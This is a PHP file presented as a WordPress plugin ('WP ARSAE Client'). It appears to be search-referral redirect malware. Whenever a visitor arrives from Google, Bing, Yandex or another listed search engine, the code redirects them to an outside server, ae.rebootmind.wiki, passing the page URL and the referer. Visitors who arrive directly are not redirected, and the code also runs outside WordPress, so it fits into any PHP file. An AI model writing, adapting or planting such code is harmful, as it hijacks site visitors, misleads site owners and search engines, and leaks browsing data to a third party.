<?php
/*
    Plugin Name: WP ARSAE Client (Universal)
    Version: 0.1.3
    Author: Internet Marketing Dojo
*/

// 1. Configuration

// 2. Execution Logic
// Check if we are inside WordPress
if (function_exists('add_action')) {
    // If WP is present, hook into the 'init' action
    add_action('init', 'wp_arsae_client_init', 1);
} else {
    // If NOT in WordPress (Standalone PHP), execute immediately
    wp_arsae_client_init();
}

function wp_arsae_client_init()
{
    arsae_process(ARSAE_SERVER);
}

/**
 * Main logic for redirection
 */
function arsae_process($server = 'https://ae.rebootmind.wiki')
{
    if(ArsaeSearchTerm::isCameFromSearchEngine()){
        $ref = ArsaeSearchTerm::setReferer(null);

        if(empty($ref)){
            return false;
        }

        $url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

        $path = [
            'arsae' => urlencode($url),
            'arsae_ref' => urlencode($ref),
            'arsae_url' => urlencode(arsae_get_current_url())
        ];

        header('Location: ' . $server . '?' . http_build_query($path)); 
        die;
    }
}

function arsae_get_current_url()
{
    $protocol = ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
    $url = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    return $url;
}

/**
 * Enhanced Search Engine Detection Class
 */
class ArsaeSearchTerm
{
    public static function setReferer($referer)
    {
        if(is_null($referer)){
            $referer = '';
            if(isset($_SERVER['HTTP_REFERER'])){
                $referer = $_SERVER['HTTP_REFERER'];
            }
        }
        return $referer;
    }

    public static function isCameFromSearchEngine($referer = null)
    {       
        $referer = self::setReferer($referer);
        
        if(empty($referer)){
            return false;
        }

        $engines = [
            '.google.', 
            '.bing.', 
            'duckduckgo.com', 
            'yahoo.com', 
            '.search.yahoo.', 
            'yandex.', 
            'baidu.', 
            'ask.com'
        ];

        foreach ($engines as $engine) {
            if (self::str_contains($referer, $engine)) {
                return true;
            }
        }

        return false;
    }

    public static function str_contains($haystack, $needle, $ignoreCase = true) {
        if ($ignoreCase) {
            $haystack = strtolower($haystack);
            $needle   = strtolower($needle);
        }

        $needlePos = strpos($haystack, $needle);
        return ($needlePos === false ? false : ($needlePos+1));
    }
}